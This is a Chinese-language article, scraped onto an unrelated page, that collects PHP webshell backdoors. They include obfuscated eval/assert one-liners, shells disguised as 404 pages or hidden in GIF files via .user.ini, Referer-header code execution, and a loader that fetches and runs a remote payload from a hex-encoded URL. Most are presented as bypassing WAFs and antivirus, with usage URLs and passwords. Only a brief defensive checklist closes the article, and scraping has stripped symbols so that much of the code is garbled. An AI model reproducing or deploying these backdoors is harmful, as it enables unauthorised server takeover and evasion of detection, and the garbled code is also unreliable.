怎么做网站背景图片网站小样用什么做

当前位置: 首页 > news >正文

怎么做网站背景图片,网站小样用什么做,wordpress插件很多吗,免费的网站软件以一个学习的心态来对待PHP后门程序#xff0c;很多PHP后门代码让我们看到程序员们是多么的用心良苦。 这类后门让网站、服务器管理员很是头疼#xff0c;经常要换着方法进行各种检测#xff0c;而很多新出现的编写技术#xff0c;用普通的检测方法是没法发现并处理的。今天… 以一个学习的心态来对待PHP后门程序很多PHP后门代码让我们看到程序员们是多么的用心良苦。 这类后门让网站、服务器管理员很是头疼经常要换着方法进行各种检测而很多新出现的编写技术用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。 利用404页面隐藏PHP小马 PHP 1 2 3 4 5 6 7 8 9 10 11404 Not Found Not Found The requested URL was not found on this server. preg_replace(/[pageerror]/e,\(_POST[error],saft); header(HTTP/1.1 404 Not Found); ? 404页面是网站常用的文件一般建议好后很少有人会去对它进行检查修改这时我们可以利用这一点进行隐藏后门。 无特征隐藏PHP一句话 PHP 1 2 3 4 session_start(); \)_POST[code] \(_SESSION[theCode] trim(\)_POST[code]); \(_SESSION[theCode]preg_replace(\a\eis,e.v.a.l.(base64_decode(\)_SESSION[\theCode])),a); 将\(_POST[code]的内容赋值给\)_SESSION[theCode]然后执行\(_SESSION[theCode]亮点是没有特征码。用扫描工具来检查代码的话是不会报警的达到目的了。 超级隐蔽的PHP后门 PHP 1 仅用GET函数就构成了木马 利用方法 PHP 1 ?aassertb\){fputs%28fopen%28base64_decode%28Yy5waHA%29,w% 29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29}; 执行后当前目录生成c.php一句话木马当传参a为eval时会报错木马生成失败为assert时同样报错但会生成木马真可谓不可小视简简单单的一句话被延伸到这般应用。 层级请求编码运行PHP后门 此方法用两个文件实现文件1 PHP 1 2 3 4 5 6 7 //1.php header(Content-type:text/html;charsetutf-8); parse_str(\(_SERVER[HTTP_REFERER], \)a); if(reset(\(a) 10 count(\)a) 9) { eval(base64_decode(str_replace( , , implode(array_slice(\(a, 6))))); } 文件2 PHP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 //2.php header(Content-type:text/html;charsetutf-8); //要执行的代码 \)code phpinfo(); CODE; //进行base64编码 \(code base64_encode(\)code); //构造referer字符串 \(referer a10babc34dree32fkmg{\)code}hi; //后门url \(url http://localhost/test1/1.php; \)ch curl_init(); \(options array( CURLOPT_URL \)url, CURLOPT_HEADER FALSE, CURLOPT_RETURNTRANSFER TRUE, CURLOPT_REFERER \(referer ); curl_setopt_array(\)ch, \(options); echo curl_exec(\)ch); 通过HTTP请求中的HTTPREFERER来运行经过base64编码的代码来达到后门的效果一般waf对referer这些检测要松一点或者没有检测。用这个思路bypass waf不错。 PHP后门生成工具weevely weevely是一款针对PHP的webshell的自由软件可用于模拟一个类似于telnet的连接shellweevely通常用于web程序的漏洞利用隐藏后门或者使用类似telnet的方式来代替web 页面式的管理weevely生成的服务器端php代码是经过了base64编码的所以可以骗过主流的杀毒软件和IDS上传服务器端代码后通常可以通过weevely直接运行。 weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术后门中所使用的函数均是常用的字符串处理函数被作为检查规则的evalsystem等函数都不会直接出现在代码中从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描结果显示该文件无任何威胁。 以上是大概介绍下边是截图相关使用方法体验盒子就不在这介绍了简单的科普一下。 三个变形的一句话PHP木马 第一个 PHP 1 在菜刀里写http://site/1.php?2assert密码是1 第二个 PHP 1 2 3 4 5 6 7 $; \(_[]; \)$.; \(_(\)[]|).($[]|).(\(_[]^); ? 在菜刀里写http://site/2.php?_assert__eval(\)_POST[pass]) 密码是pass。 如果你用菜刀的附加数据的话更隐蔽或者用其它注射工具也可以因为是post提交的。 第三个 PHP 1 (\(b4dboy \)_POST[b4dboy]) preg_replace(/ad/e,.str_rot13(riny).(\(b4dboy), add); str_rot13(riny)即编码后的eval完全避开了关键字又不失效果让人吐血 过狗免杀PHP一句话一枚 PHP 1 2 3 preg_replace( /[errorpage]/e, str_rot13( nffreg(\)_CBFG[cntr]); ), saft ); //密码page .htaccess做PHP后门 这个其实在2007年的时候作者GaRY就爆出了只是后边没人关注这个利用关键点在于一句话 PHP 1 2 AddType application/x-httpd-php .htaccess ###### SHELL ###### 这里写上你的后门吧###### LLEHS ###### toby57解析加密PHP一句话木马 此段后门使用方法会与其它方法不太一样具体看下面 Client PHP 1 2 3 4 if(crypt(\(_SERVER[HTTP_H0ST],51)514zR17F8j0q6){file_put_contents(\)_SERVER[HTTP_X],\(_SERVER[HTTP_Y]); header(Location: ./.\)_SERVER[HTTP_X]);}; ? Server: PHP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 \(fp fsockopen(127.0.0.1,80,\)errno,\(errstr,5); if (!\)fp){ echo(fp fail); } \(out GET /php_muma/client.php HTTP/1.1\r\n; \)out . Content-Type: application/x-www-form-urlencoded\r\n; \(out . User-Agent: MSIE\r\n; \)out . Host: 127.0.0.1\r\n; \(out . H0ST: qiushui51a\r\n; \)out . X: ../shell.php \r\n; \(out . Y: ?php eval(\\)_POST[shell]);?\r\n; \(out . Connection: close\r\n\r\n; fwrite(\)fp,\(out); while(!feof(\)fp)){ \(resp_str; \)resp_str . fgets(\(fp,512);//返回值放入\)resp_str } fclose(\(fp); echo(\)resp_str);//处理返回值. ? 对服务端与客户端指令对比如一致则执行后门指令。 几个President分享的PHP一句话 PHP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 \(_s.s./*-/*-*/e./*-/*-*/r; \)/-/-/a./-/-/$./-/-/t; $_/-/-/(\(/*-/*-*/{_P./*-/*-*/OS./*-/*-*/T} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);? //上面这个密码-7 最后列几个高级的PHP一句话木马后门 PHP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 1、 \)hh p.r.e.g._.r.e.p.l.a.c.e; \(hh(/[discuz]/e,\)_POST[h],Access); //菜刀一句话 2、 \(filename\)_GET[xbid]; include (\(filename); //危险的include函数直接编译任何文件为php格式运行 3、 \)regc.o.p.y; \(reg(\)_FILES[MyFile][tmp_name],\(_FILES[MyFile][name]); //重命名任何文件 4、 \)gzid p.r.e.g._.r.e.p.l.a.c.e; \(gzid(/[discuz]/e,\)_POST[h],Access); //菜刀一句话 5、include (\(uid); //危险的include函数直接编译任何文件为php格式运行POST www.xxx.com/index.php?uid/home/www/bbs/image.gif //gif插一句话 6、典型一句话 程序后门代码 程序代码 //容错代码 程序代码 //使用lanker一句话客户端的专家模式执行相关的php语句 程序代码 \)_POSTsa;? 程序代码 \(_POST[sa](\)_POST[sb],\(_POST[sc])? 程序代码 preg_replace(/[email]/e,\)_POST[h],error); ? //使用这个后,使用菜刀一句话客户端在配置连接的时候在配置一栏输入 程序代码 heval_r(\(_POST[c]); 程序代码 //绕过?限制的一句话 一款萎缩的动态生成远端大马后门 Webshell代码如下 PHP 1 2 3 4 5 6 error_reporting(0); session_start(); header(Content-type:text/html;charsetutf-8);if(empty(\)_SESSION[api])) \(_SESSION[api]substr(file_get_contents(sprintf(%s?%s,pack(H*,687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067),uniqid())),3649); preg_replace(~(.*)~ies,gzuncompress(\)_SESSION[api]),null); ? 其实这款后门在某地还有Tools上先前已经被破但没有被拿出来公开分析分享而今天看到360卫士对该SHELL进行了公开分析……在360公开后作者blackbin也进行了小幅更新新版本不在使用高危函数例如 preg_replace e修饰符同时php5.5已经去掉e 不再使用 eval 不在使用assert采用新的匿名方式回调。 代码如下 PHP 1 2 3 4 5 6 7 8 9 10 11 12 13 error_reporting(0); \(i pack(c*, 0x70, 0x61, 99, 107); \)GLOBALS array( p pack(c, 0x70, 0x61, 99, 107), c $i(c, 99, 97, 108, 108, 95, 117, 115, 101, 114, 95, 102, 117, 110, 99), f \(i(c*, 102, 105, 108, 101, 95, 103, 101, 116, 95, 99, 111, 110, 116, 101, 110, 116, 115), e \)i(c,0x63,0x72,0x65,0x61,0x74,0x65,0x5f,0x66,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e), h $i(H, 687474703a2f2f626c616b696e2e64756170702e636f6d2f7631), s \(i(c*,0x73,0x70,0x72,0x69,0x6e,0x74,0x66) ); \)GLOBALSc; ? 关于这款后门的使用方法首先要有远端大马然后后门页其实是一个404伪装页需要按键盘p键就会显示登录页关于此后门的最新代码方法可访问上边作者页获取 替换特征PHP一句话 PHP 1 2 3 4 5 6 7 8 9 10 11 \(mt   mFsKCleRfU; \)ojj IEBleldle; \(hsa E9TVFsnd2VuJ10p; \)fnx Ow; \(zk   str_replace( d, , sdtdrd_redpdldadcde ); //str_replace \)ef   \(zk( z, , zbazsze64_zdzeczodze );          //base64_decode \)dva \(zk( p, , pcprpepaptpe_fpupnpcptpipopn ); //create_function \)zvm \(dva( , \)ef( \(zk( le, , \)ojj . \(mt . \)hsa . \(fnx ) ) ); // eval(\)_POST[wen]); \(zvm(); ? 命令执行PHP后门 PHP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 //door.php?ctimeexecatimepwd extract( \)_REQUEST ); die ( \(ctime( \)atime ) ); ? //door.php?p{a:system,b:pwd} \(p json_decode( \)_GET[p], true ); echo ; \(config new ReflectionFunction( \)p[a] ); \(config-invoke( \)p[b] ); echo ; ? 几个变形PHP一句话 PHP 1 一般的安全软件可能会将evalGET或POST判定为后门程序因此这种变形将eval和GET或者POST分开能够绕过这种情况。 PHP 1 2 3 \(astr_replace(x,,axsxxsxexrxxt);\)a(\(_POST[code]); ? 请求参数 PHP 1 ?codefputs(fopen(base64_decode(J2MucGhwJw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg)) 还原出的命令 PHP 1 assert(fputs(fopen(c.php,w),?php eval(\)_POST[a]);?)) 利用assert来执行命令并且用字符串隐藏assert方法并且利用它加上动态传入参数的方式构造后门。 PHP 1 2 3 \(_GET[a](\)_GET[b]); ? 请求参数 PHP 1 ?aassertbfputs(fopen(base64_decode(J2MucGhwJw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg)) 完全利用动态参数传入的方式构造后门将敏感函数和执行的命令动态传入效果与变形二是一致的。 1 ( \(code \)_POST[code] ) preg_replace( /ad/e, . str_rot13( riny ) . (\(code), add ) 改进的地方 首先将eval函数用str_rot13(‘riny’)隐藏。 然后利用 e 修饰符在preg_replace完成字符串替换后使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。 1 2 \)filename \(_GET[code]; include( \)filename ); 改进的地方 由于include方法可以直接编译任何格式的文件为php格式运行因此可以上传一个txt格式的php文件将真正的后门写在文本当中。 PHP 1 auto_prepend_filecode.gif 上传.user.ini并且写入auto_prepend_filecode.gif 将一句话隐藏在code.gif中并且将它上传到同一目录下。 改进的地方 将一句话木马隐藏在图形文件中并且利用用户配置文件将其自动加载到同目录的php文件下使得所有正常php文件都毫不知情的中招。 PHP 1 2 3 4 if ( empty( \(_SESSION[api] ) ) { \)_SESSION[api] substr( file_get_contents( sprintf( %s?%s, pack( H, 687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067 ), uniqid() ) ), 3649 ); } preg_replace( ~(.)~ies, gzuncompress( \(_SESSION[api] ), null ); 改进的地方 通过pack函数得到URL 利用file_get_contents获得make.jpg 利用substr截取3649字节以后的内容 利用gzuncompress方法将3649字节以后的内容解压出来 用preg_replace方法的e操作符将代码执行 还有很多后续操作…… 过狗过盾PHP一句话 PHP 1 2 3 4 5 6 7 8 function app_c( \)a ) {   //封装函数 if ( empty( \(a ) ) {    //添加干扰代码 \)a echo it ok;    //干扰代码 } eval( \(a ); } app_c( \)_POST[x] ); 过狗过盾无特征无动态函数PHP一句话 分享些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。(少部分一句话需要php5.4.8、或sqlite/pdo/yaml/memcached扩展等) PHP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 所有一句话使用方法基本都是 http://target/shell.php?eassert 密码pass //01 \(e \)_REQUEST[e]; \(arr array(\)_POST[pass],); array_filter(\(arr, \)e); //02 \(e \)_REQUEST[e]; \(arr array(\)_POST[pass],); array_map(\(e, \)arr); //03 \(e \)_REQUEST[e]; \(arr array(test, \)_REQUEST[pass]); uasort(\(arr, \)e); //04 \(e \)_REQUEST[e]; \(arr array(test 1, \)_REQUEST[pass] 2); uksort(\(arr, \)e); //05 \(arr new ArrayObject(array(test, \)_REQUEST[pass])); \(arr-uasort(assert); //06 \)arr new ArrayObject(array(test 1, \(_REQUEST[pass] 2)); \)arr-uksort(assert); //07 \(e \)_REQUEST[e]; \(arr array(1); array_reduce(\)arr, \(e, \)_POST[pass]); //08 \(e \)_REQUEST[e]; \(arr array(\)_POST[pass]); \(arr2 array(1); array_udiff(\)arr, \(arr2, \)e); //09 \(e \)_REQUEST[e]; \(arr array(\)_POST[pass] |.|e,); array_walk(\(arr, \)e, ); //10 \(e \)_REQUEST[e]; \(arr array(\)_POST[pass] |.|e,); array_walk_recursive(\(arr, \)e, ); //11 mb_ereg_replace(., $_REQUEST[pass], , e); //12 echo preg_filter(|.|e, \(_REQUEST[pass], ); //13 ob_start(assert); echo \)_REQUEST[pass]; ob_end_flush(); //14 \(e \)_REQUEST[e]; register_shutdown_function(\(e, \)_REQUEST[pass]); //15 \(e \)_REQUEST[e]; declare(ticks1); register_tick_function(\(e, \)_REQUEST[pass]); //16 filter_var(\(_REQUEST[pass], FILTER_CALLBACK, array(options assert)); //17 filter_var_array(array(test \)_REQUEST[pass]), array(test array(filter FILTER_CALLBACK, options assert))); //18 \(e \)_REQUEST[e]; \(db new PDO(sqlite:sqlite.db3); \)db-sqliteCreateFunction(myfunc, \(e, 1); \)sth \(db-prepare(SELECT myfunc(:exec)); \)sth-execute(array(:exec \(_REQUEST[pass])); //19 \)e \(_REQUEST[e]; \)db new SQLite3(sqlite.db3); \(db-createFunction(myfunc, \)e); \(stmt \)db-prepare(SELECT myfunc(?)); \(stmt-bindValue(1, \)_REQUEST[pass], SQLITE3_TEXT); \(stmt-execute(); //20 \)str urlencode(\(_REQUEST[pass]); \)yaml greeting: !{\(str} |.|e EOD; \)parsed yaml_parse(\(yaml, 0, \)cnt, array(!{\(_REQUEST[pass]} preg_replace)); //21 \)mem new Memcache(); \(re \)mem-addServer(localhost, 11211, TRUE, 100, 0, -1, TRUE, create_function(\(a,\)b,\(c,\)d,\(e, return assert(\)a);)); \(mem-connect(\)_REQUEST[pass], 11211, 0); //22 preg_replace_callback(/./i, create_function(\(arr, return assert(\)arr[0]);), \(_REQUEST[pass]); //23 mb_ereg_replace_callback(., create_function(\)arr, return assert(\(arr[0]);), \)_REQUEST[pass]); //24 \(iterator new CallbackFilterIterator(new ArrayIterator(array(\)_REQUEST[pass],)), create_function(\(a, assert(\)a);)); foreach (\(iterator as \)item) {echo \(item;} 非常规的pHp一句话木马 PHP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if(isset(\)_POST[page])) { \(page \)_POST[page]; preg_replace(/[errorpage]/e,\(page,saft); exit; } ? 带md5并可植入任意文件 md5(\)_GET[qid])850abe17d6d33516c10c6269d899fd19?array_map(asx73ert,(array)\(_REQUEST[page]):next; ? shell.php?qidzxexp  密码page ps:经过网友kevins1022 测试不可用。特说明下。或许是我们的测试姿势不正确。先保留 bypass-safedog再送一枚 PHP 1 2 3 4 5 \)amd5(a).; \(pocsubstr(\)a,14,1).chr(115).chr(115).substr(\(a,22,1).chr(114).chr(116); \)poc($_GET[a]); ? 综上这些PHP一句话后门可谓五脏俱全一不小心您肯定中招了而我们今天这篇文章的重中之重在哪呢重点就在下边的总结! 我们强调几个关键点看这文章的你相信不是门外汉我也就不啰嗦了 对PHP程序编写要有安全意识 服务器日志文件要经常看经常备份 对每个站点进行严格的权限分配 对动态文件及目录经常批量安全审查 学会如何进行手工杀毒《即行为判断查杀》 时刻关注或渗入活跃的网络安全营地 对服务器环境层级化处理哪怕一个函数也可做规则 体验盒子认为当管理的站点多了数据量大时我们应合理应用一些辅助工具但不应完全依赖这些工具技术是时刻在更新进步的最为重要的是你应学会和理解编写这些强悍后门的人所处思维角色上的换位可为你带来更大的进步。 文中所列后门中如涉及版权问题要强调的是这类后门无从查找原始出处也无唯一性如果你非要和我说某某是你原创的请联系我我会验证后在文中特别强调。我非常看重网络知识产权问题。 参考 2013-05-10更新.htaccess做PHP后门 2013-05-12更新toby57解析加密型一句话木马 2013-07-05更新更新President分享变异PHP一句话五枚 2014-03-20更新一款萎缩的动态生成远端大马后门 2016-08-10更新添加好的参考文献 2016-08-11更新添加三枚PHP一句话后门 2016-08-15更新添加PHP-backdoors参考 2016-08-19更新添加参考并增加几个变形PHP一句话、过狗过盾PHP一句话、过狗过盾无特征无动态函数PHP一句话 2016-10-06更新添加两枚非常规的pHp一句话木马再更一枚过狗PHP一句话 原“亦家网络”域名到期被抢注导致关停现在转至体验盒子并继续更新作者是同人 持续更新为保证资料完整性转载务必说明本文原地址